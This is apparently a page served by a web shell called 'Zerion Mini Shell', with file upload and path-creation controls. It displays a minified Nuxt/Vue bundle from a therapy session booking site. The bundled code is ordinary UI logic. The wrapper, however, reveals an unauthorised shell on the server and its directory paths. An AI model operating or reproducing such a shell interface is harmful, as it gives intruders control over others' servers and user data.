%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/forge/takeaseat.eco-n-tech.co.uk/.nuxt/dist/client/
Upload File :
Create Path :
Current File : //home/forge/takeaseat.eco-n-tech.co.uk/.nuxt/dist/client/dca366f.js

(window.webpackJsonp=window.webpackJsonp||[]).push([[68,12,19],{378:function(t,e,o){var content=o(382);content.__esModule&&(content=content.default),"string"==typeof content&&(content=[[t.i,content,""]]),content.locals&&(t.exports=content.locals);(0,o(34).default)("7d27b657",content,!0,{sourceMap:!1})},381:function(t,e,o){"use strict";o(378)},382:function(t,e,o){var l=o(33)((function(i){return i[1]}));l.push([t.i,".modal[data-v-631534c2]{padding-top:25vh}",""]),t.exports=l},383:function(t,e,o){"use strict";o.r(e);o(60);var l={name:"Modal",props:{value:{required:!0},title:{type:String,required:!1},background:{type:String,required:!1,default:"bg-gray"}},data:function(){return{isActive:!1}},methods:{closeModal:function(){this.$emit("input",!this.value)}},watch:{value:function(){var t=this;1==this.value?setTimeout((function(){t.isActive=!0}),100):setTimeout((function(){t.isActive=!1}),100)}}},n=(o(381),o(10)),component=Object(n.a)(l,(function(){var t=this,e=t.$createElement,o=t._self._c||e;return 1==t.value?o("div",{staticClass:"modal fixed z-50 bottom-0 left-0 w-full h-screen"},[o("div",{staticClass:"absolute z-10 top-0 left-0 w-full h-full bg-black bg-opacity-25 cursor-pointer transition duration-100",class:1==t.isActive?"opacity-100":"opacity-0",on:{click:t.closeModal}}),t._v(" "),o("div",{staticClass:"relative z-20 h-full bg-white shadow-lg p-10 pt-16 transition transform duration-100",class:1==t.isActive?"translate-y-0 opacity-100":"translate-y-full opacity-0"},[o("button",{staticClass:"absolute top-6 right-10 uppercase hover:text-blue-light focus:outline-none transition",attrs:{type:"button"},on:{click:t.closeModal}},[t._v("Close")]),t._v(" "),o("div",{staticClass:"relative h-full overflow-y-auto"},[t._t("default")],2)])]):t._e()}),[],!1,null,"631534c2",null);e.default=component.exports},394:function(t,e,o){"use strict";o.r(e);var l=o(0),n=(o(3),o(14),{props:{booking:{type:Object,required:!0}},data:function(){return{modalOpen:!1}},computed:{role:function(){if(1==this.$auth.loggedIn)return this.$auth.user.data.role.name}},methods:{cancelSession:function(){var t=this;return Object(l.a)(regeneratorRuntime.mark((function e(){return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:t.$toast.info("Are you sure you want to cancel this booking?",{duration:5e3,action:[{text:"Yes",onClick:function(e,o){o.goAway(0),t.working=!0,1==t.working&&t.$axios.post("/booking/cancel/"+t.booking.id).then((function(e){t.working=!1,t.modalOpen=!1,"therapist"==t.role?t.$store.dispatch("therapist/bookings/get"):t.$store.dispatch("bookings/get"),t.$toast.success("Booking cancelled succesfully").goAway(1e3)})).catch((function(e){t.$toast.error(e).goAway(1e3)}))}},{text:"No",onClick:function(t,e){e.goAway(0)}}]});case 1:case"end":return e.stop()}}),e)})))()}}}),r=o(10),component=Object(r.a)(n,(function(){var t=this,e=t.$createElement,o=t._self._c||e;return o("div",{staticClass:"mb-1"},[o("div",{staticClass:"relative p-6 bg-gray grid grid-cols-1 sm:grid-cols-3 md:grid-cols-6 gap-6 cursor-pointer transition duration-100 hover:bg-opacity-75",on:{click:function(e){t.modalOpen=!t.modalOpen}}},[o("div",{staticClass:"relative sm:col-span-1"},[o("div",{staticClass:"absolute top-0 left-0 w-full h-full border-15 border-yellow border-opacity-50"}),t._v(" "),"therapist"==t.role?o("img",{attrs:{src:t.booking.user.photo_url}}):o("img",{attrs:{src:t.booking.therapist.user.photo_url}})]),t._v(" "),o("div",{staticClass:"sm:col-span-2 md:col-span-5 grid grid-cols-1 md:grid-cols-6 py-2"},[o("div",{staticClass:"md:col-span-4 flex flex-col justify-between"},[o("div",[o("small",{staticClass:"uppercase text-sm text-black text-opacity-80"},[t._v(t._s(t.booking.date+" "+t.booking.time))]),t._v(" "),"therapist"==t.role?o("h2",{staticClass:"text-xl font-bold"},[t._v(t._s(t.booking.user.full_name))]):o("h2",{staticClass:"text-xl font-bold"},[t._v(t._s(t.booking.therapist.user.full_name))]),t._v(" "),"Cancelled"==t.booking.status?o("span",{staticClass:"mt-2 inline-block bg-red text-white text-xs leading-3 p-2 rounded-xl"},[t._v("Cancelled")]):t._e()])]),t._v(" "),o("div",{staticClass:"md:col-span-2 flex flex-col md:items-end md:justify-end"},[t.booking.session?o("div",[o("span",{staticClass:"block text-sm font-regular"},[t._v(t._s(t.booking.session.name))]),t._v(" "),"therapist"==t.role?[t.booking.user.mobile&&"Phone"==t.booking.session.name?o("span",{staticClass:"block text-sm font-regular"},[t._v(t._s(t.booking.user.mobile))]):t._e()]:[t.booking.therapist.user.mobile&&"Phone"==t.booking.session.name?o("span",{staticClass:"block text-sm font-regular"},[t._v(t._s(t.booking.therapist.user.mobile))]):t._e()]],2):t._e()])])]),t._v(" "),o("Modal",{model:{value:t.modalOpen,callback:function(e){t.modalOpen=e},expression:"modalOpen"}},[o("div",{staticClass:"grid grid-cols-1 md:grid-cols-4 gap-8 h-full"},[o("div",{staticClass:"md:col-span-3 flex flex-col items-start justify-between bg-gray p-8"},[o("div",{staticClass:"w-full flex items-center"},[o("div",{staticClass:"w-40 mr-5 relative"},[o("div",{staticClass:"absolute top-0 left-0 w-full h-full border-4 border-yellow border-opacity-50"}),t._v(" "),"therapist"==t.role?o("img",{attrs:{src:t.booking.user.photo_url}}):o("img",{attrs:{src:t.booking.therapist.user.photo_url}})]),t._v(" "),o("div",{staticClass:"relative"},["therapist"==t.role?o("h2",{staticClass:"block mb-4 text-3xl font-bold"},[t._v(t._s(t.booking.user.full_name))]):o("h2",{staticClass:"block mb-4 text-3xl font-bold"},[t._v(t._s(t.booking.therapist.user.full_name))]),t._v(" "),o("span",{staticClass:"block my-1 text-lg font-medium"},[t._v(t._s(t.booking.date))]),t._v(" "),o("span",{staticClass:"block my-1 text-lg font-medium"},[t._v(t._s(t.booking.time))])])]),t._v(" "),t.booking.session?o("div",{staticClass:"w-full flex flex-col items-end justify-center"},[o("span",{staticClass:"block mb-2 text-md font-medium uppercase"},[t._v(t._s(t.booking.session.name))]),t._v(" "),"therapist"==t.role?["Phone"==t.booking.session.name||"Video"==t.booking.session.name||"In Person"==t.booking.session.name?o("a",{staticClass:"text-2xl font-bold",attrs:{href:"tel:"+t.booking.user.phone}},[t._v(t._s(t.booking.user.phone))]):t._e()]:["Phone"==t.booking.session.name||"Video"==t.booking.session.name?o("a",{staticClass:"text-2xl font-bold",attrs:{href:"tel:"+t.booking.therapist.user.phone}},[t._v(t._s(t.booking.therapist.user.phone))]):"In Person"==t.booking.session.name&&t.booking.address?o("span",{staticClass:"text-2xl font-bold"},[t._v(t._s(t.booking.address.formatted))]):t._e()]],2):t._e()]),t._v(" "),o("div",{staticClass:"md:col-span-1 grid grid-cols-1 gap-y-4"},["therapist"==t.role?[t.booking.user.phone?o("a",{staticClass:"flex items-center text-lg font-bold p-6 bg-gray text-blue-light transition hover:bg-blue-light hover:text-white",attrs:{href:"tel:"+t.booking.user.phone}},[t._v("Phone Client")]):t._e(),t._v(" "),t.booking.user.email?o("a",{staticClass:"flex items-center text-lg font-bold p-6 bg-gray text-blue-light transition hover:bg-blue-light hover:text-white",attrs:{href:"mailto:"+t.booking.user.email,target:"_blank"}},[t._v("Email Client")]):t._e(),t._v(" "),1==t.booking.is_cancelable&&"Cancelled"!==t.booking.status?o("button",{staticClass:"flex items-center text-lg font-bold p-6 bg-gray text-blue-light",attrs:{type:"button"},on:{click:t.cancelSession}},[t._v("Cancel Session")]):t._e()]:[t.booking.therapist.user.phone?o("a",{staticClass:"flex items-center text-lg font-bold p-6 bg-gray text-blue-light transition hover:bg-blue-light hover:text-white",attrs:{href:"tel:"+t.booking.therapist.user.phone}},[t._v("Phone Client")]):t._e(),t._v(" "),t.booking.therapist.user.email?o("a",{staticClass:"flex items-center text-lg font-bold p-6 bg-gray text-blue-light transition hover:bg-blue-light hover:text-white",attrs:{href:"mailto:"+t.booking.therapist.user.email,target:"_blank"}},[t._v("Email Client")]):t._e(),t._v(" "),1==t.booking.is_cancelable&&"Cancelled"!==t.booking.status?o("button",{staticClass:"flex items-center text-lg font-bold p-6 bg-gray text-blue-light",attrs:{type:"button"},on:{click:t.cancelSession}},[t._v("Cancel Session")]):t._e()],t._v(" "),1==t.booking.is_reschedulable?o("NuxtLink",{staticClass:"flex items-center text-lg font-bold p-6 bg-gray text-blue-light transition hover:bg-blue-light hover:text-white",attrs:{to:"/booking/"+t.booking.therapist.slug+"/reschedule/"+t.booking.id,href:"#"}},[t._v("Reschedule Session")]):t._e()],2)])])],1)}),[],!1,null,null,null);e.default=component.exports;installComponents(component,{Modal:o(383).default})},495:function(t,e,o){"use strict";o.r(e);var l=o(0),n=(o(3),{head:function(){return{titleTemplate:this.client.full_name+" | %s"}},computed:{client:function(){return this.$store.state.therapist.clients.single}},asyncData:function(t){return Object(l.a)(regeneratorRuntime.mark((function e(){var o,l;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return o=t.store,l=t.params,e.next=3,o.dispatch("therapist/clients/single",l.id);case 3:case"end":return e.stop()}}),e)})))()}}),r=o(10),component=Object(r.a)(n,(function(){var t=this,e=t.$createElement,o=t._self._c||e;return o("div",{staticClass:"page-wrapper"},[o("PageHeader",{attrs:{classObject:"pb-48 md:pb-10 tas-bg-yellow"}},[o("div",{staticClass:"relative z-20 text-center"},[o("figure",{staticClass:"relative inline-block w-40 mb-8"},[o("div",{staticClass:"absolute top-0 left-0 w-full h-full border-15 border-yellow border-opacity-50"}),t._v(" "),o("img",{staticClass:"block w-full",attrs:{src:t.client.photo_url,alt:t.client.first_name}})]),t._v(" "),o("h1",[o("span",{staticClass:"block w-full text-7xl leading-none "},[t._v(t._s(t.client.first_name))]),t._v(" "),o("span",{staticClass:"block w-full uppercase text-2xl"},[t._v(t._s(t.client.last_name))])])]),t._v(" "),o("div",{staticClass:"page-header-bottom grid grid-cols-1 md:grid-cols-3 gap-x-4"},[o("div",{staticClass:"flex items-center justify-center md:justify-start"},[o("NuxtLink",{staticClass:"uppercase font-medium flex items-center justify-center",attrs:{to:"/therapist/clients"}},[o("svg",{staticClass:"w-4 h-4 mr-1",attrs:{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor"}},[o("path",{attrs:{"stroke-linecap":"round","stroke-linejoin":"round","stroke-width":"2",d:"M15 19l-7-7 7-7"}})]),t._v("\n          Back\n        ")])],1),t._v(" "),o("div",{staticClass:"flex items-center justify-center py-4 md:py-0"},[o("NuxtLink",{staticClass:"btn btn-primary btn-small rounded-full",attrs:{to:"/booking/"+t.client.therapist.slug+"/create/"+t.client.id}},[t._v("Book a session")])],1),t._v(" "),o("div",{staticClass:"flex items-center justify-center md:justify-end"},[t.client.next_booking?o("span",{staticClass:"font-bold"},[t._v("Next Session: "+t._s(t.client.next_booking.date+" "+t.client.next_booking.time))]):o("span",{staticClass:"font-bold"},[t._v("No upcoming sessions")])])])]),t._v(" "),o("div",{staticClass:"max-w-5xl w-full mx-auto px-6 lg:px-0"},[o("div",{staticClass:"my-16"},[o("h2",{staticClass:"mb-6 text-3xl font-bold"},[t._v("Booked Sessions ("+t._s(t.client.bookings.length)+")")]),t._v(" "),t.client.bookings.length?o("div",t._l(t.client.bookings,(function(t,e){return o("Booking",{key:e,attrs:{booking:t}})})),1):o("div",{staticClass:"py-10 w-full bg-gray text-center"},[o("span",{staticClass:"font-bold text-2xl"},[t._v("No sessions booked")])])]),t._v(" "),o("div",{staticClass:"my-16"},[o("h2",{staticClass:"mb-6 text-3xl font-bold"},[t._v("Contact Details")]),t._v(" "),t.client.phone?o("div",{staticClass:"bg-gray py-8 px-6 lg:px-10 flex flex-wrap items-center my-2"},[t._m(0),t._v(" "),o("div",{staticClass:"w-full md:w-3/5 my-2 md:0"},[o("span",{staticClass:"font-bold text-lg"},[t._v(t._s(t.client.phone))])]),t._v(" "),o("div",{staticClass:"w-full md:w-1/5 flex flex-wrap items-center md:justify-end"},[t.client.phone?o("a",{staticClass:"w-10 h-8 bg-no-repeat bg-center bg-contain icon-phone",attrs:{href:"tel:"+t.client.phone,target:"_blank"}}):t._e()])]):t._e(),t._v(" "),t.client.email?o("div",{staticClass:"bg-gray py-8 px-6 lg:px-10 flex flex-wrap items-center my-2"},[t._m(1),t._v(" "),o("div",{staticClass:"w-full md:w-3/5 my-2 md:0"},[o("span",{staticClass:"font-bold text-lg"},[t._v(t._s(t.client.email))])]),t._v(" "),o("div",{staticClass:"w-full md:w-1/5 flex flex-wrap items-center md:justify-end"},[t.client.email?o("a",{staticClass:"w-10 h-8 bg-no-repeat bg-center bg-contain icon-envelope",attrs:{href:"mailto:"+t.client.email,target:"_blank"}}):t._e()])]):t._e()])])],1)}),[function(){var t=this,e=t.$createElement,o=t._self._c||e;return o("div",{staticClass:"w-full md:w-1/5"},[o("span",{staticClass:"block uppercase text-xs"},[t._v("Phone")])])},function(){var t=this,e=t.$createElement,o=t._self._c||e;return o("div",{staticClass:"w-full md:w-1/5"},[o("span",{staticClass:"block uppercase text-xs"},[t._v("Email")])])}],!1,null,null,null);e.default=component.exports;installComponents(component,{PageHeader:o(212).default,Booking:o(394).default})}}]);

Zerion Mini Shell 1.0